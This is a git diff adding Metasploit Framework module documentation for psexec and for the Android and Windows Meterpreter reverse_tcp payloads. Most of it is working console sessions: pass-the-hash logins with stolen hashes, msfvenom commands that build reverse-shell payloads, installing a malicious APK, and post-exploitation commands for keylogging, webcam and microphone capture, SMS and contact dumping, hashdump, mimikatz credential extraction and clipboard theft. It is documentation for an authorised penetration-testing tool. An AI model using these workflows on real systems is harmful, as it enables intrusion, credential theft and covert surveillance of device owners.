+1. You must have a valid username/password.
+2. The firewall must allow SMB traffic.
+3. The target must use SMBv1.
+4. The remote Windows machine's network security policy must allow it. If you see [one of these errors](https://github.com/rapid7/metasploit-framework/wiki/What-does-my-Rex%3A%3AProto%3A%3ASMB-Error-mean%3F), then the Windows machine does not allow it.
+
+## Verification Steps
+
+At the minimum, you should be able use psexec to get a session with a valid credential using the following:
+
+```
+msf > use exploit/windows/smb/psexec
+msf exploit(psexec) > set RHOST 192.168.1.80
+RHOST => 192.168.1.80
+msf exploit(psexec) > set SMBUser Administrator
+SMBUser => Administrator
+msf exploit(psexec) > set SMBPass goodpass
+SMBPass => goodpass
+msf exploit(psexec) > exploit
+
+[*] Started reverse TCP handler on 192.168.1.199:4444
+[*] 192.168.1.80:445 - Connecting to the server...
+[*] 192.168.1.80:445 - Authenticating to 192.168.1.80:445 as user 'Administrator'...
+[*] 192.168.1.80:445 - Selecting native target
+[*] 192.168.1.80:445 - Uploading payload...
+[*] 192.168.1.80:445 - Created \PTIhqIrQ.exe...
+[+] 192.168.1.80:445 - Service started successfully...
+[*] 192.168.1.80:445 - Deleting \PTIhqIrQ.exe...
+[*] Sending stage (957999 bytes) to 192.168.1.80
+[*] Meterpreter session 1 opened (192.168.1.199:4444 -> 192.168.1.80:1042) at 2016-03-01 16:51:56 -0600
+
+meterpreter >
+```
+
+## Options
+
+By default, using exploit/windows/smb/psexec can be as simple as setting the RHOST option, and you're ready to go. But in reality, you will probably need to at least configure:
+
+**The SMBUser Option**
+
+This is a valid Windows username.
+
+**The SMBPass option**
+
+This can be either the plain text version or the Windows hash.
+
+## Scenarios
+
+
+**Pass the Hash**
+
+One common penetration testing scenario using psexec is that attackers usually begin by breaking into a box, dumping the hashes, and using some of those hashes to log into other boxes on the network using psexec. So in that scenario, with the following stolen hash:
+
+```
+meterpreter > hashdump
+Administrator:500:e39baff0f2c5fd4e93e28745b8bf4ba6:f4974ee4a935ee160a927eafbb3f317f:::
+```
+
+You can simply copy and paste it to the SMBPass option in psexec and get a session without needing to crack the hash:
+
+```
+msf > use exploit/windows/smb/psexec
+msf exploit(psexec) > set SMBUser Administrator
+SMBUser => Administrator
+msf exploit(psexec) > set SMBPass e39baff0f2c5fd4e93e28745b8bf4ba6:f4974ee4a935ee160a927eafbb3f317f
+SMBPass => e39baff0f2c5fd4e93e28745b8bf4ba6:f4974ee4a935ee160a927eafbb3f317f
+msf exploit(psexec) > set RHOST 192.168.1.80
+RHOST => 192.168.1.80
+msf exploit(psexec) > exploit
+
+[*] Started reverse TCP handler on 192.168.1.199:4444
+[*] 192.168.1.80:445 - Connecting to the server...
+[*] 192.168.1.80:445 - Authenticating to 192.168.1.80:445 as user 'Administrator'...
+[*] 192.168.1.80:445 - Selecting native target
+[*] 192.168.1.80:445 - Uploading payload...
+[*] 192.168.1.80:445 - Created \QpxKDHyG.exe...
+[+] 192.168.1.80:445 - Service started successfully...
+[*] 192.168.1.80:445 - Deleting \QpxKDHyG.exe...
+[*] Sending stage (957999 bytes) to 192.168.1.80
+[*] Meterpreter session 1 opened (192.168.1.199:4444 -> 192.168.1.80:1043) at 2016-03-01 17:02:46 -0600
+
+meterpreter >
+```
+
+**Automatic Target**
+
+There are multiple targets available for exploit/windows/smb/psexec. The Automatic target is the default target. If the Automatic target detects Powershell on the remote machine, it will try Powershell, otherwise it uses the natvie upload. Each target is explained below.
+
+**Powershell Target**
+
+The Powershell target forces the psexec module to run a Powershell command with a payload embedded in it. Since this approach does not leave anything on disk, it is a very powerful way to evade antivirus. However, older Windows machines might not support Powershell by default.
+
+Because of this, you will probably want to use the Automatic target setting. The automatic mode will check if the target supports Powershell before it tries it; the manually set Powershell target won't do that.
+
+**Native Upload Target**
+
+The Native target will attempt to upload the payload (executable) to SYSTEM32 (which can be modified with the
+SHARE datastore option), and then execute it with psexec.
+
+This approach is generally reliable, but has a high chance of getting caught by antivirus on the target. To counter this, you can try to use a template by setting the EXE::Path and EXE::Template datastore options. Or, you can supply your own custom EXE by setting the EXE::Custom option.
+
+**MOF Upload Target**
+
+The [MOF](https://github.com/rapid7/metasploit-framework/wiki/How-to-use-WbemExec-for-a-write-privilege-attack-on-Windows) target technically does not use psexec; it does not explicitly tell Windows to execute anything. All it does is upload two files: the payload (exe) in SYSTEM32 and a managed object
+format file in SYSTEM32\wbem\mof\ directory. When Windows sees the MOF file in that directory, it automatically runs it. Once executed, the code inside the MOF file basically tells Windows to execute our payload in SYSTEM32, and you get a session.
+
+Although it's a neat trick, Metasploit's MOF library only works against Windows XP and Windows Server 2003. And since it writes files to disk, there is also a high chance of getting
+caught by antivirus on the target.
+
+The best way to counter antivirus is still the same. You can either use a different template by setting the EXE::Path and EXE::Template datastore options or you can supply your own custom EXE by setting the EXE::Custom option.
+
diff --git a/documentation/modules/module_doc_template.md b/documentation/modules/module_doc_template.md
new file mode 100644
index 0000000000..aa1e134161
--- /dev/null
+++ b/documentation/modules/module_doc_template.md
@@ -0,0 +1,41 @@
+The following is the recommended format for module documentation.
+But feel free to add more content/sections to this.
+
+
+## Vulnerable Application
+
+ Instructions to get the vulnerable application.
+
+## Verification Steps
+
+ Example steps in this format:
+
+ 1. Install the application
+ 2. Start msfconsole
+ 3. Do: ```use [module path]```
+ 4. Do: ```run```
+ 5. You should get a shell.
+
+## Options
+
+ **Option name**
+
+ Talk about what it does, and how to use it appropriately.
+
+## Scenarios
+
+ Specific demo of using the module that might be useful in a real world scenario.
+
+ ```
+ code or console output
+ ```
+
+ For example:
+
+ To do this specific thing, here's how you do it:
+
+ ```
+ msf > use module_name
+ msf auxiliary(module_name) > set POWERLEVEL >9000
+ msf auxiliary(module_name) > exploit
+ ```
\ No newline at end of file
diff --git a/documentation/modules/payload/android/meterpreter/reverse_tcp.md b/documentation/modules/payload/android/meterpreter/reverse_tcp.md
new file mode 100644
index 0000000000..cde18f507f
--- /dev/null
+++ b/documentation/modules/payload/android/meterpreter/reverse_tcp.md
@@ -0,0 +1,457 @@
+The android/meterpreter/reverse_tcp payload is a Java-based Meterpreter that can be used on an
+Android device. It is still at an early stage of development, but there are so many things you can
+do with it already.
+
+The Android Meterpreter allows you to do things like take remote control the file system, listen to phone calls, retrieve or send SMS messages, geo-locate the user, run post-exploitation modules, etc.
+
+## Vulnerable Application
+
+You can test android/meterpreter/reverse_tcp on these devices:
+
+**Android Emulator**
+
+An emulator is the most convenient way to test Android Meterpreter. You can try:
+
+* [Android SDK](http://developer.android.com/sdk/index.html#Other) - Creates and manages your emulators from a command prompt or terminal.
+* [Android Studio](http://developer.android.com/sdk/installing/index.html?pkg=studio) - Allows you to manage emulators more easily than the SDK.
+* [GenyMotion](https://www.genymotion.com/download/) - Requires an account.
+* [AndroidAVDRepo](https://github.com/dral3x/AndroidAVDRepo) - Contains a collection of pre-configured emulators.
+
+
+**A real Android device**
+
+Having a real Android device allows you to test features or vulnerabilities you don't necessarily
+have from an emulator, which might be specific to a manufacturer, carrier, or hardware. You also
+get to test it over a real network.
+
+
+## Verification Steps
+
+Currently, the most common way to use Android Meterpreter is to create it as an APK, and then
+execute it.
+
+To create the APK with msfconsole:
+
+```
+msf > use payload/android/meterpreter/reverse_tcp
+msf payload(reverse_tcp) > set LHOST 192.168.1.199
+LHOST => 192.168.1.199
+msf payload(reverse_tcp) > generate -t raw -f /tmp/android.apk
+[*] Writing 8992 bytes to /tmp/android.apk...
+msf payload(reverse_tcp) >
+```
+
+To create the APK with msfvenom:
+
+```
+./msfvenom -p android/meterpreter/reverse_tcp LHOST=[IP] LPORT=4444 -f raw -o /tmp/android.apk
+```
+
+Next, start an Android device. Upload the APK, and execute it. There are different ways to do this,
+so please refer to the Scenarios section for more information.
+
+## Important Basic Commands
+
+**pwd**
+
+The ```pwd``` command allows you to see the current directory you're in.
+
+```
+meterpreter > pwd
+/data/data/com.metasploit.stage
+```
+
+**cd**
+
+The ```cd``` command allows you to change directory. For example:
+
+```
+meterpreter > cd cache
+meterpreter > ls
+```
+
+**cat**
+
+The ```cat``` command allows you to see the contents of a file.
+
+**ls**
+
+The ```ls``` command displays items in a directory. For example:
+
+```
+meterpreter > ls
+Listing: /data/data/com.metasploit.stage/files
+==============================================
+
+Mode Size Type Last modified Name
+---- ---- ---- ------------- ----
+100444/r--r--r-- 0 fil 2016-03-08 14:56:08 -0600 rList-com.metasploit.stage.MainActivity
+```
+
+**upload**
+
+The ```upload``` command allows you to upload a file to the remote target. The ```-r``` option
+allows you to do so recursively.
+
+**download**
+
+The ```download``` command allows you to download a file from the remote target. The ```-r```
+option allows you to do so recursively.
+
+**search**
+
+The ```search``` command allows you to find files on the remote target. For example:
+
+```
+meterpreter > search -d . -f *.txt
+```
+
+**ifconfig**
+
+The ```ifconfig``` command displays the network interfaces on the remote machine.
+
+```
+meterpreter > ifconfig
+
+...
+
+Interface 10
+============
+Name : wlan0 - wlan0
+Hardware MAC : 60:f1:89:07:c2:7e
+IPv4 Address : 192.168.1.207
+IPv4 Netmask : 255.255.255.0
+IPv6 Address : 2602:30a:2c51:e660:62f1:89ff:fe07:c27e
+IPv6 Netmask : ::
+IPv6 Address : fe80::62f1:89ff:fe07:c27e
+IPv6 Netmask : ::
+IPv6 Address : 2602:30a:2c51:e660:81ae:6bbd:e0e1:5954
+IPv6 Netmask : ::
+
+...
+```
+
+**getuid**
+
+The ```getuid``` command shows the current user that the payload is running as:
+
+```
+meterpreter > getuid
+Server username: u0_a231
+```
+
+**ps**
+
+The ```ps``` command shows a list of processes the Android device is running. For example:
+
+```
+meterpreter > ps
+
+Process List
+============
+
+ PID Name Arch User
+ --- ---- ---- ----
+ 1 /init root
+ 2 kthreadd root
+ 3 ksoftirqd/0 root
+ 7 migration/0 root
+ 8 rcu_preempt root
+ 9 rcu_bh root
+ 10 rcu_sched root
+ 11 watchdog/0 root
+ 12 watchdog/1 root
+ 13 migration/1 root
+ 14 ksoftirqd/1 root
+ 17 watchdog/2 root
+ 18 migration/2 root
+ 19 ksoftirqd/2 root
+ 22 watchdog/3 root
+ 23 migration/3 root
+
+...
+```
+
+**shell**
+
+The ```shell``` command allows you to interact with a shell:
+
+```
+meterpreter > shell
+Process 1 created.
+Channel 1 created.
+id
+uid=10231(u0_a231) gid=10231(u0_a231) groups=1015(sdcard_rw),1028(sdcard_r),3003(inet),9997(everybody),50231(all_a231) context=u:r:untrusted_app:s0
+```
+
+To get back to the Meterpreter prompt, you can do: [CTRL]+[Z]
+
+**sysinfo**
+
+The ```sysinfo``` command shows you basic information about the Android device.
+
+```
+meterpreter > sysinfo
+Computer : localhost
+OS : Android 5.1.1 - Linux 3.10.61-6309174 (aarch64)
+Meterpreter : java/android
+```
+
+**webcam_list**
+
+The ```webcam_list``` command shows a list of webcams you could use for the ```webcam_snap```
+command. Example:
+
+```
+meterpreter > webcam_list
+1: Back Camera
+2: Front Camera
+```
+
+**webcam_snap**
+
+The ```webcam_snap``` command takes a picture from the device. You will have to use the
+```webcam_list``` command to figure out which camera to use. Example:
+
+```
+meterpreter > webcam_snap -i 2
+[*] Starting...
+[+] Got frame
+[*] Stopped
+Webcam shot saved to: /Users/user/rapid7/msf/uFWJXeQt.jpeg
+```
+
+**record_mic**
+
+The ```record_mic``` command records audio. Good for listening to a phone conversation, as well as
+other uses. Example:
+
+```
+meterpreter > record_mic -d 20
+[*] Starting...
+[*] Stopped
+Audio saved to: /Users/user/rapid7/msf/YAUtubCR.wav
+```
+
+**activity_start**
+
+The ```activity_start``` command is an execute command by starting an Android activity from a URI
+string.
+
+**check_root**
+
+The ```check_root``` command detects whether your payload is running as root or not. Example:
+
+```
+meterpreter > check_root
+[*] Device is not rooted
+```
+
+**dump_calllog**
+
+The ```dump_calllog``` command retrieves the call log from the Android device.
+
+**dump_contacts**
+
+```
+meterpreter > dump_contacts
+[*] Fetching 5 contacts into list
+[*] Contacts list saved to: contacts_dump_20160308155744.txt
+```
+
+**geolocate**
+
+The ```geolocate``` commands allows you to locate the phone by retrieving the current lat-long
+using geolocation.
+
+**wlan_geolocate**
+
+The ```wlan_geolocation``` command allows you to locate the phone by retrieving the current
+lat-long using WLAN information. Example:
+
+```
+meterpreter > wlan_geolocate
+[*] Google indicates the device is within 150 meters of 30.*******,-97.*******.
+[*] Google Maps URL: https://maps.google.com/?q=30.*******,-97.*******
+```
+
+**send_sms**
+
+The ```send_sms``` command allows you to send an SMS message. Keep in mind the phone will keep a
+copy of it, too.
+
+```
+meterpreter > send_sms -d "2674554859" -t "hello"
+[+] SMS sent - Transmission successful
+```
+
+**sms_dump**
+
+The ```sms_dump``` command allows you to retrieve SMS messages. And save them as a text file.
+For example:
+
+```
+meterpreter > dump_sms
+[*] Fetching 4 sms messages
+[*] SMS messages saved to: sms_dump_20160308163212.txt
+
+...
+
+$ cat sms_dump_20160308163212.txt
+
+=====================
+[+] SMS messages dump
+=====================
+
+Date: 2016-03-08 15:30:12 -0600
+OS: Android 5.1.1 - Linux 3.10.61-6309174 (aarch64)
+Remote IP: 192.168.1.207
+Remote Port: 59130
+
+#1
+Type : Incoming
+Date : 2016-03-08 15:29:32
+Address : **********
+Status : NOT_RECEIVED
+Message : Hello world
+
+...
+
+```
+
+**run**
+
+The ```run``` command allows you to run a post module against the remote machine at the Meterpreter
+prompt. For example:
+
+```
+meterpreter > run post/android/capture/screen
+```
+
+## Scenarios
+
+**Uploading APK to an Emulator using install_msf_apk.sh**
+
+The Metasploit Framework comes with a script that allows you to automatically upload your APK to
+an active emulator and execute it. It requires the [Android SDK platform-tools](http://developer.android.com/sdk/installing/index.html) to run, as well as [Java](https://java.com/en/download/).
+
+To use this, follow these steps:
+
+1. Start the Android Emulator
+2. Generate the Android payload as an APK.
+3. In msfconsole, start a handler for android/meterpreter/reverse_tcp
+4. Run the installer script like this from a terminal:
+
+```
+$ tools/exploit/install_msf_apk.sh /tmp/android.apk
+```
+
+The the script will do something like this:
+
+```
+$ tools/exploit/install_msf_apk.sh /tmp/android.apk
+ adding: META-INF/ANDROIDD.SF
+ adding: META-INF/ANDROIDD.RSA
+ signing: classes.dex
+ signing: AndroidManifest.xml
+ signing: resources.arsc
+Failure
+1562 KB/s (10715 bytes in 0.006s)
+ pkg: /data/local/tmp/android.apk
+Success
+rm failed for -f, Read-only file system
+Starting: Intent { act=android.intent.action.MAIN cmp=com.metasploit.stage/.MainActivity }
+```
+
+Back in msfconsole, you should receive a session:
+
+```
+[*] Started reverse TCP handler on 192.168.1.199:4444
+[*] Starting the payload handler...
+[*] Sending stage (62432 bytes) to 192.168.1.199
+[*] Meterpreter session 1 opened (192.168.1.199:4444 -> 192.168.1.199:49178) at 2016-03-08 13:00:10 -0600
+
+meterpreter >
+```
+
+**Uploading APK to a real Android device using install_msf_apk.sh**
+
+On the Android device, make sure to enable Developer Options. To do this:
+
+1. Go to Settings -> About -> Software Information
+2. Tap on the Build Number section a couple of times. It should unlock Developer Options.
+3. Go back to the Settings page, you should see Developer Options.
+
+Under Developer Options, make sure to:
+
+* Enable USB debugging
+* Disable Verify apps via USB
+* Open a terminal, and type: ```adb devices```. On your Android device, you should see a prompt
+ asking you to allow the computer for debugging, click OK on that.
+* Do: ```adb devices``` again, adb should now have access.
+
+Run the installer script like this from a terminal:
+
+```
+$ tools/exploit/install_msf_apk.sh /tmp/android.apk
+```
+
+And you should get a session.
+
+
+
+**Uploading APK from a Web Server**
+
+One way to upload an APK to Android without adb is by hosting it from a web server. To do this,
+you must make sure to allow to trust "Unknown sources". The way to do this varies, but normally
+it's something like this: Settings -> Security -> Check "Unknown Sources"
+
+Once you have that changed, you'll need to:
+
+1. Generate the APK payload.
+2. Start a web server from the directory where the payload is: ```ruby -run -e httpd . -p 8181```
+3. On your Android device, open a browser, and download the APK.
+4. You should be able to find the APK from the Downloads folder, install it.
+5. After installation, you will have to manually execute it.
+
+**Reconnect Android Meterpreter from the Browser Remotely**
+
+When you have the APK payload installed on your Android device, another trick to reconnect it is to
+launch an intent from a browser. An intent is simply a term in Android development that means "an operation to be performed."
+
+Here's how you do this:
+
+1. In msfconsole, start a multi/handler for android/meterpreter/reverse_tcp as a background job.
+2. Do: ```auxiliary/server/android_browsable_msf_launch```.
+3. Set the URIPATh if needed.
+4. Do: ```run```. At this point, the web server should be up.
+5. On your Android device, open the native web browser, and go the URL generated by the auxiliary
+ module.
+6. The Android handler should get a session like the following demo:
+
+```
+msf > use exploit/multi/handler
+msf exploit(handler) > set PAYLOAD android/meterpreter/reverse_tcp
+PAYLOAD => android/meterpreter/reverse_tcp
+msf exploit(handler) > set LHOST 192.168.1.199
+LHOST => 192.168.1.199
+msf exploit(handler) > set EXITONSESSION false
+EXITONSESSION => false
+msf exploit(handler) > run -j
+[*] Exploit running as background job.
+
+[*] Started reverse TCP handler on 192.168.1.199:4444
+msf exploit(handler) > [*] Starting the payload handler...
+
+msf exploit(handler) > use auxiliary/server/android_browsable_msf_launch
+msf auxiliary(android_browsable_msf_launch) > set URIPATH /test
+URIPATH => /test
+msf auxiliary(android_browsable_msf_launch) > run
+
+[*] Using URL: http://0.0.0.0:8080/test
+[*] Local IP: http://192.168.1.199:8080/test
+[*] Server started.
+[*] Sending HTML...
+[*] Sending stage (62432 bytes) to 192.168.1.207
+[*] Meterpreter session 1 opened (192.168.1.199:4444 -> 192.168.1.207:47523) at 2016-03-08 15:09:25 -0600
+```
diff --git a/documentation/modules/payload/windows/meterpreter/reverse_tcp.md b/documentation/modules/payload/windows/meterpreter/reverse_tcp.md
new file mode 100644
index 0000000000..0b65ce91bf
--- /dev/null
+++ b/documentation/modules/payload/windows/meterpreter/reverse_tcp.md
@@ -0,0 +1,714 @@
+windows/meterpreter/reverse_tcp is one of the most powerful features the Metasploit Framework has
+to offer, and there are so many things you can do with it.
+
+It allows you to remotely control the file system, sniff, keylog, hashdump, perform network pivoting,
+control the webcam and microphone, etc. It has the best support for post modules, and you can
+load extensions, such as mimikatz and python interpreter, etc.
+
+windows/meterpreter/reverse_tcp is also the default payload for all Windows exploit targets.
+
+## Vulnerable Application
+
+This Meterpreter payload is suitable for the following environments:
+
+* Windows x64
+* Windows x86
+
+## Verification Steps
+
+windows/meterpreter/reverse_tcp is typically used in two different ways.
+
+First, it is typically used as a payload for an exploit. Here's how to do that:
+
+1. In msfconsole, select an exploit module
+2. Configure the options for that exploit.
+3. Do: ```set payload windows/meterpreter/reverse_tcp```
+4. Set the ```LHOST``` option, which is the IP that the payload should connect to.
+5. Do: ```exploit```. If the exploit is successful, it should execute that payload.
+
+Another way to use windows/meterpreter/reverse_tcp is to generate it as an executable. Normally,
+you would want to do it with msfvenom. If you are old school, you have probably also heard of
+msfpayload and msfencode. msfvenom is a replacement of those.
+
+The following is a basic example of using msfvenom to to generate windows/meterpreter/reverse_tcp
+as an executable:
+
+```
+./msfvenom -p windows/meterpreter/reverse_tcp LHOST=[IP] LPORT=4444 -f exe -o /tmp/payload.exe
+```
+
+## Important Basic Commands
+
+**pwd command**
+
+The ```pwd``` command allows you to see the current directory you're in on the remote target.
+Example:
+
+```
+meterpreter > pwd
+C:\Users\user\Desktop
+```
+
+**cd command**
+
+The ```cd``` command allows you to change directories. Example:
+
+```
+meterpreter > cd C:\\
+meterpreter > pwd
+C:\
+```
+
+**cat command**
+
+The ```cat``` command allows you to see the content of a file:
+
+```
+meterpreter > cat C:\\file.txt
+Hello world!
+```
+
+**upload command**
+
+The ```upload``` command allows you to upload a file to the remote target. For example:
+
+```
+meterpreter > upload /tmp/something.txt C:\\Users\\user\\Desktop\\something.txt
+[*] uploading : /tmp/something.txt -> C:\Users\user\Desktop\something.txt
+[*] uploaded : /tmp/something.txt -> C:\Users\user\Desktop\something.txt
+meterpreter >
+```
+
+The ```-r``` option for the command also allows you to upload recursively.
+
+**download command**
+
+The ```download``` command allows you download a file from the remote target to your machine.
+For example:
+
+```
+meterpreter > download C:\\Users\\user\\Desktop\\something.txt /tmp/
+[*] downloading: C:\Users\user\Desktop\something.txt -> /tmp//something.txt
+[*] download : C:\Users\user\Desktop\something.txt -> /tmp//something.txt
+meterpreter >
+```
+
+The ```-r``` option for the command also allows you to download recursively.
+
+**search command**
+
+The ```search``` command allows you to find files on the remote file system. For example, this
+demonstrates how to find all text files in the current directory:
+
+```
+meterpreter > search -d . -f *.txt
+Found 1 result...
+ .\something.txt (5 bytes)
+```
+
+Note that without the ```-d``` option, the command will attempt to search in all drives.
+
+The ```-r``` option for the commands allows you to search recursively.
+
+**ifconfig command**
+
+The ```ifconfig``` command displays the network interfaces on the remote machine:
+
+```
+meterpreter > ifconfig
+
+Interface 1
+============
+Name : Software Loopback Interface 1
+Hardware MAC : 00:00:00:00:00:00
+MTU : 4294967295
+IPv4 Address : 127.0.0.1
+IPv4 Netmask : 255.0.0.0
+IPv6 Address : ::1
+IPv6 Netmask : ffff:ffff:ffff:ffff:ffff:ffff:ffff:ffff
+...
+```
+
+The command ```ipconfig``` is an alias for ```ifconfig```.
+
+**getuid command**
+
+The ```getuid``` command shows you the current user that the payload is running as:
+
+```
+meterpreter > getuid
+Server username: WIN-6NH0Q8CJQVM\user
+```
+
+**execute command**
+
+The ```execute``` command allows you to execute a command or file on the remote machine.
+
+The following example will spawn a calculator:
+
+```
+meterpreter > execute -f calc.exe
+Process 2076 created.
+```
+
+To pass an argument, use the ```-a``` flag:
+
+```
+meterpreter > execute -f iexplore.exe -a http://metasploit.com
+Process 2016 created.
+```
+
+There are some options you can see to add more stealth. For example, you can use the ```-H``` flag
+to create the process hidden from view. You can also use the ```-m``` flag to execute from memory.
+
+**ps command**
+
+The ```ps``` command lists the running processes on the remote machine.
+
+**shell command**
+
+The ```shell``` command allows you to interact with the remote machine's command prompt. Example:
+
+```
+meterpreter > shell
+Process 3576 created.
+Channel 6 created.
+Microsoft Windows [Version 6.1.7601]
+Copyright (c) 2009 Microsoft Corporation. All rights reserved.
+
+C:\Users\user\Desktop>
+```
+
+To switch back to Meterpreter, do [CTRL]+[Z] to background the channel.
+
+**sysinfo command**
+
+The ```sysinfo``` command shows you basic information about the remote machine. Example:
+
+```
+meterpreter > sysinfo
+Computer : WIN-6NH0Q8CJQVM
+OS : Windows 7 (Build 7601, Service Pack 1).
+Architecture : x86
+System Language : en_US
+Domain : WORKGROUP
+Logged On Users : 2
+Meterpreter : x86/win32
+meterpreter >
+```
+
+**keyscan_start**
+
+The ```keyscan_start``` command starts the keylogging feature on the remote machine.
+
+**keyscan_dump**
+
+The ```keyscan_dump``` command is a keylogger feature. You must use the ```keyscan_start``` command
+before using this. Example:
+
+```
+meterpreter > keyscan_start
+Starting the keystroke sniffer...
+meterpreter > keyscan_dump
+Dumping captured keystrokes...
+Hello World!!
+```
+
+If you wish to stop sniffing, use the ```keyscan_stop``` command.
+
+**keyscan_stop**
+
+The ```keyscan_stop``` command stops the keylogger.
+
+**screenshot**
+
+The ```screenshot``` command takes a screenshot of the target machine.
+
+**webcam_list**
+
+The ```webcam_list``` commands shows you a list of webcams that you can control. You'll
+probably want to use this first before using any other webcam commands.
+
+**webcam_snap**
+
+The ```webcam_snap``` commands uses the selected webcam to take a picture.
+
+**webcam_stream**
+
+The ```webcam_stream``` command basically uses the ```webcam_snap``` command repeatedly to create
+the streaming effect. There is no sound.
+
+**record_mic**
+
+The ```record_mic``` command captures audio on the remote machine.
+
+**getsystem**
+
+The ```getsystem``` command attempts to elevate your privilege on the remote machine with one of
+these techniques:
+
+* Named pipe impersonation (in memory)
+* Named pipe impersonation (dropper)
+* Token duplication (in memory)
+
+Example:
+
+```
+meterpreter > getsystem
+...got system via technique 1 (Named Pipe Impersonation (In Memory/Admin)).
+```
+
+**hashdump**
+
+The ```hashdump``` commands allows you to dump the Windows hashes if there are the right privileges.
+For sxample:
+
+```
+meterpreter > hashdump
+Administrator:500:e39baff0f2c5fd4e93e28745b8bf4ba6:f4974ee4a935ee160a927eafbb3f317f:::
+Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
+HelpAssistant:1000:92a84e332fa4b09e9850257ad6826566:8fb9a6e155fd6e14a16c37427b68bbb4:::
+root:1003:633c097a37b26c0caad3b435b51404ee:f2477a144dff4f216ab81f2ac3e3207d:::
+SUPPORT_388945a0:1002:aad3b435b51404eeaad3b435b51404ee:e09fcdea29d93203c925b205640421f2:::
+```
+
+
+## Scenarios
+
+**Setting up for Testing**
+
+For testing purposes, if you don't want to manually generate a payload and start a multi handler
+repeatedly, you can use the auto_win32_multihandler.rc resource script in Metasploit to automate that process. Here's how you would use it:
+
+First, run the resource script:
+
+```
+$ ./msfconsole -q -r scripts/resource/auto_win32_multihandler.rc
+[*] Processing scripts/resource/auto_win32_multihandler.rc for ERB directives.
+[*] resource (scripts/resource/auto_win32_multihandler.rc)> Ruby Code (776 bytes)
+lhost => 192.168.1.199
+lport => 4444
+[*] Writing 73802 bytes to /Users/metasploit/.msf4/local/meterpreter_reverse_tcp.exe...
+[*] windows/meterpreter/reverse_tcp's LHOST=192.168.1.199, LPORT=4444
+[*] windows/meterpreter/reverse_tcp is at /Users/metasploit/.msf4/local/meterpreter_reverse_tcp.exe
+payload => windows/meterpreter/reverse_tcp
+lhost => 192.168.1.199
+lport => 4444
+exitonsession => false
+[*] Exploit running as background job.
+
+[*] Started reverse TCP handler on 192.168.1.199:4444
+[*] Starting the payload handler...
+msf exploit(handler) >
+```
+
+Next, go to your ~/.msf4/local directory, you should see meterpreter_reverse_tcp.exe in there.
+Upload that payload to your test box and execute it. You should receive a connection.
+
+**Using a Post Module**
+
+One of the best things about Meterpreter is you have access to a variety of post exploitation
+modules, specifically for the multi and Windows categories. Post modules provide you with more capabilities to
+collect data from the remote machine automatically. For example, you can steal passwords
+from popular applications and enumerate or modify system settings.
+
+To use a post module from the Meterpreter prompt, simply use the ```run``` command:
+
+```
+meterpreter > run post/windows/gather/checkvm
+
+[*] Checking if WIN-6NH0Q8CJQVM is a Virtual Machine .....
+[*] This is a VMware Virtual Machine
+meterpreter >
+```
+
+It is also possible to run a post module via multiple Meterpreter sessions. To learn how, load
+the specific post module you wish to run, and enter ```info -d``` to see the basic usage in the
+documentation.
+
+
+**Using the Mimikatz Extension**
+
+[Mimikatz](https://github.com/gentilkiwi/mimikatz) is a well known tool to extract passwords, hashes, PIN code, and kerberos tickets from memory on Windows. This might actually be the first thing you want to use as soon as you get a high-privileged session, such as SYSTEM.
+
+To begin, load the extension:
+
+```
+meterpreter > load mimikatz
+Loading extension mimikatz...success.
+meterpreter >
+```
+
+This will create more commands for the Meterpreter prompt. Most of them are meant to be used to
+retrieve user names, hashes, passwords and other information:
+
+```
+Mimikatz Commands
+=================
+
+ Command Description
+ ------- -----------
+ kerberos Attempt to retrieve kerberos creds
+ livessp Attempt to retrieve livessp creds
+ mimikatz_command Run a custom command
+ msv Attempt to retrieve msv creds (hashes)
+ ssp Attempt to retrieve ssp creds
+ tspkg Attempt to retrieve tspkg creds
+ wdigest Attempt to retrieve wdigest creds
+```
+
+An example of using the ```msv``` command:
+
+```
+meterpreter > msv
+[+] Running as SYSTEM
+[*] Retrieving msv credentials
+msv credentials
+===============
+
+AuthID Package Domain User Password
+------ ------- ------ ---- --------
+0;313876 NTLM WIN-6NH0Q8CJQVM user10 lm{ 0363cb92c563245c447eaf70cfac29c1 }, ntlm{ 16597a07ce66307b3e1a5bd1b7abe123 }
+0;313828 NTLM WIN-6NH0Q8CJQVM user10 lm{ 0363cb92c563245c447eaf70cfac29c1 }, ntlm{ 16597a07ce66307b3e1a5bd1b7abe123 }
+0;996 Negotiate WORKGROUP WIN-6NH0Q8CJQVM$ n.s. (Credentials KO)
+0;997 Negotiate NT AUTHORITY LOCAL SERVICE n.s. (Credentials KO)
+0;45518 NTLM n.s. (Credentials KO)
+0;999 NTLM WORKGROUP WIN-6NH0Q8CJQVM$ n.s. (Credentials KO)
+```
+
+
+**Using the extapi Extension**
+
+The main purpose of the extapi extension is to perform advanced enumeration of the target machine. For
+example, you can enumerate things like registered services, open windows, clipboard, ADSI, WMI queries, etc.
+
+To begin, at the Meterpreter prompt, do:
+
+```
+meterpreter > load extapi
+Loading extension extapi...success.
+meterpreter >
+```
+
+One great feature of the extension is clipboard management. The Windows clipboard is interesting
+because it can store anything that is sensitive, such as files, user names, and passwords, but it is not well protected.
+
+For example, a password manager is a popular tool to store encryped passwords. It allows the user
+to create complex passwords without the need to memorize any of them. All the user needs to do is
+open the password manager, retrieve the password for a particular account by copying it, and then
+paste it on a login page.
+
+There is a security problem to the above process. When the user copies the password, it is stored
+in the operating system's clipboard. As an attacker, you can take advantage of this by starting the
+clipboard monitor from Meterpreter/extapi, and then collect whatever the user copies.
+
+To read whatever is currently stored in the target's clipboard, you can use the clipboard_get_data
+commnad:
+
+```
+meterpreter > clipboard_get_data
+Text captured at 2016-03-05 19:13:39.0170
+=========================================
+hello, world!!
+=========================================
+
+meterpreter >
+```
+
+The limitation of this command is that since you're only grabbing whatever is in the clipboard at
+the time, there is only one item to collect. However, when you start a monitor, you can collect
+whatever goes in there. To start, issue the following command:
+
+```
+meterpreter > clipboard_monitor_start
+[+] Clipboard monitor started
+meterpreter >
+```
+
+While it is monitoring, you can ask Meterpreter to dump whatever's been captured.
+
+```
+meterpreter > clipboard_monitor_dump
+Text captured at 2016-03-05 19:18:18.0466
+=========================================
+this is fun.
+=========================================
+
+Files captured at 2016-03-05 19:20:07.0525
+==========================================
+Remote Path : C:\Users\user\Desktop\cat_pic.png
+File size : 37627 bytes
+downloading : C:\Users\user\Desktop\cat_pic.png -> ./cat_pic.png
+download : C:\Users\user\Desktop\cat_pic.png -> ./cat_pic.png
+
+==========================================
+
+[+] Clipboard monitor dumped
+meterpreter >
+```
+
+The ```clipboard_monitor_stop``` command will also dump the captured data, and then exit.
+
